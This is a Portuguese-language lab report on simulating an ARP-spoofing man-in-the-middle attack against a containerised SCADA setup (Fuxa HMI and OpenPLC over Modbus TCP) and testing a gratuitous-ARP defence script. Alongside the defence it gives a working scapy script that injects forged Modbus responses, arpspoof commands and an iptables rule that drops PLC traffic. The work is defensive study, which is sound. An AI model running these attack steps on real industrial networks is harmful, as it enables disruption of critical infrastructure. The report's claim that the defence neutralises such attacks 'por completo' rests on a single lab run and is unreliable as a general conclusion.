

Relatório Técnico: Implementação e Validação de Defesa Ativa contra ARP Spoofing em Redes Industriais (SCADA)

➤ MODULES relacionado	<u>Análise dos resultados e propostas de mitigação</u>
📅 Timebox	@24 de fevereiro de 2026 → 9 de março de 2026
⚙️ Status	Done
🕒 Type	Sprint

Este relatório documenta a simulação de um ataque *Man-in-the-Middle* (MitM) em uma rede industrial simulada (Fuxa e OpenPLC), com o objetivo de **demonstrar a quebra da comunicação Modbus TCP (Negação de Serviço) e a eficácia de um Sistema de Prevenção de Intrusão (IPS) baseado em Defesa Ativa ARP**.

1. A Dinâmica do Ataque: Negação de Serviço (DoS) vs. Injeção

Diferente das abordagens iniciais que tentavam alterar o nível do tanque no supervisório competindo com os pacotes legítimos (o que gerava *Race Conditions* e *ARP Thrashing*), a estratégia final de ataque baseou-se na **Interrupção de Rota**. Isso porque como o teste iria ser focado na mitigação do ataque, o ataque escolhido foi um mais rápido e nitidamente percebido, nos testes era só ver se o sistema estava conectado ou não.

Ao utilizar ferramentas de firewall do kernel Linux (`iptables`), o nó atacante foi configurado para **descartar (DROP)** silenciosamente as respostas legítimas vindas do CLP (porta 502). Como resultado, o protocolo Modbus TCP sofre um *timeout*, levando a IHM (Fuxa) a um estado de falha de conexão (`Device 'CLP' connection error!`). Esse foi o maior desafio dos testes, eu não conseguia criar a defesa sem o Fuxa entrar em falha. Para validar a Defesa Ativa, é necessário provar que a rede imunizada impede que os pacotes passem pelo nó atacante, tornando o firewall malicioso obsoleto.

2. Códigos e Ferramentas (Scripts em Python)

A. O Escudo Bidirecional (`defesa_ativa.py`)

O código identifica dinamicamente os endereços físicos (MAC) reais e envia pacotes *Gratuitous ARP* diretamente para a IHM e para o Gateway, blindando as duas vias de comunicação

```
from scapy.all import sendp, ARP, Ether, getmacbyip
import time
```

```

IP_GATEWAY = "172.17.0.1"
IP_FUXA = "172.17.0.3"

print("[*] Lendo a rede para descobrir os MACs reais...")
MAC_GATEWAY_REAL = getmacbyip(IP_GATEWAY)
MAC_FUXA_REAL = getmacbyip(IP_FUXA)

if not MAC_GATEWAY_REAL or not MAC_FUXA_REAL:
    print("[!] Erro: Não consegui achar os MACs.")
    exit()

# Escudo 1: Diz para o FUXA o MAC verdadeiro do GATEWAY
escudo_fuxa = Ether(dst=MAC_FUXA_REAL) / ARP(op=2, psrc=IP_GATEWAY, hwsrc=
MAC_GATEWAY_REAL, pdst=IP_FUXA, hwdst=MAC_FUXA_REAL)

# Escudo 2: Diz para o GATEWAY o MAC verdadeiro do FUXA
escudo_gateway = Ether(dst=MAC_GATEWAY_REAL) / ARP(op=2, psrc=IP_FUXA, hws
rc=MAC_FUXA_REAL, pdst=IP_GATEWAY, hwdst=MAC_GATEWAY_REAL)

print("[*] Iniciando o Escudo ARP Bidirecional (Defesa Total)...")
try:
    while True:
        sendp(escudo_fuxa, verbose=0)
        sendp(escudo_gateway, verbose=0)
        time.sleep(0.5)
except KeyboardInterrupt:
    print("\n[*] Escudo desativado.")

```

B. A Carga Maliciosa (`attack_simple.py`)

Script complementar que tenta inundar a conexão com pacotes vazios caso o firewall consiga capturar algo.

```

from scapy.all import *

def corromper(pacote):
    if pacote.haslayer(TCP) and pacote[TCP].sport == 502:
        mentira = b'\x00' * 12
        pacote_falso = (IP(src=pacote[IP].src, dst=pacote[IP].dst) /
                        TCP(sport=pacote[TCP].sport, dport=pacote[TCP].dpo
rt,
                        seq=pacote[TCP].seq, ack=pacote[TCP].ack, flag
s="PA") /
                        mentira)
        send(pacote_falso, count=3, verbose=0)

print("[*] Ataque Simples Ativo: Corrompendo leituras do Fuxa...")
sniff(filter="tcp port 502", prn=corromper, store=0)

```

C. A Detecção (`detect_mitm.py`)

Nota: Utilize o script de monitoramento ARP original desenvolvido ao longo do projeto, que alerta sobre a duplicidade de endereços MAC na rede.

Detecção do ataque - Passo a passo

3. Procedimento Prático: A Execução em 5 Terminais

Para comprovar a mitigação baseada em prevenção, a seguinte sequência de execução foi rigorosamente documentada:

Preparação (Limpeza do Atacante):

(Muito importante, sem a limpeza o ataque não roda) Antes de iniciar, o nó atacante foi limpo de regras antigas para garantir um teste neutro:

```
iptables -F
iptables -X
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Terminal 1: Sistema de Detecção (IDS)

Inicia-se o monitoramento passivo da rede.

- **Comando:** `python3 detect_mitm.py`
- **Ação:** Fica em escuta aguardando anomalias.

Terminal 2: O Sistema de Prevenção (Defesa Ativa)

A defesa é acionada **antes** do ataque para vacinar a rede (Imunidade L2).

- **Comando:** `python3 defesa_ativa.py`
- **Ação:** Imprime os MACs reais na tela e começa a enviar as atualizações legítimas a cada 0.5 segundos para a IHM e o Gateway.

```
(root@f58a1c163c89)-[/]
# nano defesa_ativa.py

(root@f58a1c163c89)-[/]
# python3 defesa_ativa.py
[*] Lendo a rede para descobrir os MACs reais...
[+] Gateway (172.17.0.1) MAC Real: 42:11:62:92:9c:11
[+] Fuxa (172.17.0.3) MAC Real: 26:98:43:7d:46:50
[*] Iniciando o Escudo ARP Bidirecional (Defesa Total)...
```

Terminal 3: Envenenamento ARP (Ida - IHM)

Inicia-se a tentativa de desviar o tráfego da planta.

- **Comando:** `arp spoof -i eth0 -t 172.17.0.3 172.17.0.1`

Terminal 4: Envenenamento ARP (Volta - Gateway)

Cobre-se a rota de retorno para garantir o controle bidirecional do ataque.

- **Comando:** `arp spoof -i eth0 -t 172.17.0.1 172.17.0.3`

- *Nota: Imediatamente após acionar os terminais 3 e 4, o **Terminal 1** dispara alertas de segurança identificando o tráfego malicioso.*

como:

```
[!!!!] ALERTA DE SEGURANÇA OT [!!!!]
Possível ARP Spoofing detectado no IP: 172.17.0.3
MAC Original: 26:98:43:7d:46:50
MAC Falso (Atacante): 1a:2f:8f:30:d4:40
-----

[!!!!] ALERTA DE SEGURANÇA OT [!!!!]
Possível ARP Spoofing detectado no IP: 172.17.0.1
MAC Original: 42:11:62:92:9c:11
MAC Falso (Atacante): 1a:2f:8f:30:d4:40
-----
```

Terminal 5: O Ataque de Negação de Serviço e Corrupção

Aplica-se a regra de bloqueio e o script de injeção no nó atacante.

- **Comandos:**

```
iptables -A FORWARD -p tcp --sport 502 -j DROP
python3 attack_simple.py
```

4. Conclusão e Resultados Obtidos

Durante o experimento, mesmo sob ataque severo de *ARP Spoofing* duplo (Terminais 3 e 4) e com regras rígidas de descarte de pacotes Modbus (Terminal 5), **o supervisor Fuxa manteve a leitura estável do nível do tanque**, sem apresentar o erro de desconexão.

Isto ocorre porque a Defesa Ativa (Terminal 2) venceu a corrida pela atualização das tabelas ARP dos nós legítimos. Consequentemente, o tráfego Modbus TCP viajou de forma nativa pela camada de hardware (switches/bridges virtuais), desviando completamente do container atacante. O experimento comprova que a imunização da Camada 2 (Enlace) neutraliza por completo ataques cibernéticos focados nas Camadas 4 (Transporte) e 7 (Aplicação) em infraestruturas críticas.